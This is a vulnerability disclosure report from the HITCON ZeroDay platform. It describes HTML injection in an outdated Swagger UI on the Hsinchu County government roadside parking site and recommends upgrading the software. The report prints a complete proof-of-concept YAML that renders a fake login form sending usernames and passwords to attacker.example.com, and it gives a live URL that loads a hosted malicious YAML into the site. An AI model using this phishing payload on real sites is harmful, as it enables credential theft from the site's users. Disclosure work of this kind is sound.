Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00526
- Vendor: 新竹縣政府
- Title: 新竹縣政府路邊停車中心 Unvalidated Swagger Parameter Leads to HTML Injection
- Introduction: Swagger UI 在舊版中未對可渲染 HTML 的欄位(如 description)進行嚴格過濾,攻擊者可藉此注入任意 HTML。
處理狀態
目前狀態
公開
Last Update : 2025/08/05
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/06/05 05:08:22 : 新提交 (由 CheN.. 更新此狀態)
- 2025/06/08 17:06:00 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/12 16:20:29 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/12 16:20:29 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/12 16:20:29 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/05 03:00:16 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00526
- 通報者:SamChen_696 (CheN..)
- 風險:低
- 類型:其他 (Other)
參考資料
暫無資料
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://hcpark.hchg.gov.tw/NationalParkingPayBillInquiry/swagger/ui/index?url=https://gist.githubusercontent.com/Samer666569/0d516d6d050cdc18caf9941cea542c0e/raw/1dcc0c257412bada30ce41cfd70edcea55bdf449/malicious2.yaml
敘述
我最近在探索台灣各網站的 Swagger UI ,發現許多存在版本過舊問題,導致 XSS 和 HTML injection (應該會同步通報到單位)
概述(成因):
由於網站仍使用舊版 Swagger UI(版本低於 4.1.3),這些版本雖然已修了部分 XSS,但對於 description、summary 等欄位可輸出 HTML 內容的處理仍不夠嚴謹,未做足夠的 sanitize。攻擊者可在被託管的 malicious.yaml 裡,插入 <img onerror>、<iframe>、<form>、<link> 等 HTML 標籤,導致 Swagger UI 在渲染時直接把這些 HTML 當成內容,形成 HTML Injection(偽造表單、載入惡意外部資源、嵌入誘導 iframe…)。
PoC:
完整 malicious.yaml
# fake-login-poc.yaml
openapi: "3.0.0"
info:
title: "新竹縣政府假登入PoC"
version: "1.0.0"
description: |
<div style="border:2px solid red;
padding:1em;
background:#f9f9f9;
width:400px;
font-family: Microsoft JhengHei, Arial, sans-serif;
margin-bottom:1em;">
<h2 style="color:#c00;
text-align:center;
margin-top:0;
margin-bottom:1em;">
⚠️ 請輸入帳號密碼以繼續 ⚠️
</h2>
<form action="https://attacker.example.com/collect" method="POST" target="_blank">
<div style="display:flex;
align-items:center;
margin-bottom:0.75em;">
<label style="width:90px;
font-size:14px;
color:#333;">
帳號 (Username):
</label>
<input type="text"
name="username"
placeholder="請輸入您的帳號"
style="flex:1;
padding:0.5em;
font-size:14px;
border:1px solid #ccc;
border-radius:4px;">
</div>
<div style="display:flex;
align-items:center;
margin-bottom:1em;">
<label style="width:90px;
font-size:14px;
color:#333;">
密碼 (Password):
</label>
<input type="password"
name="password"
placeholder="請輸入您的密碼"
style="flex:1;
padding:0.5em;
font-size:14px;
border:1px solid #ccc;
border-radius:4px;">
</div>
<div style="text-align:center;">
<button type="submit"
style="width:100%;
background:#c00;
color:#fff;
font-size:16px;
padding:0.6em;
border:none;
border-radius:4px;
cursor:pointer;">
登入 Login
</button>
</div>
</form>
<!-- 警語文字 -->
<p style="color:#555;
font-size:0.9em;
margin-top:1em;
text-align:center;">
※ 此為系統安全檢測,請務必輸入您的企業帳號密碼。
</p>
<div style="font-size:60px; font-weight:bold; margin-top:1em;">
By CheN..
</div>
</div>
paths: {}
影響:
攻擊者能在 Swagger UI 畫面中加入任意 HTML 元素,包含 <iframe>、<form>、<img>、<link> 等,並透過 CSS/JavaScript 操作誘導使用者。
補充資料
可以參考 HackerOne 上的相似案例
HackerOne Report #2297561
HackerOne Report #2534300
修補建議
將所有 Swagger UI 升至 4.1.3 以上版本,新版已強化對可輸出 HTML 欄位的 sanitize 機制,會移除 <iframe>、<form>、<img> 等未經授權的標籤。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。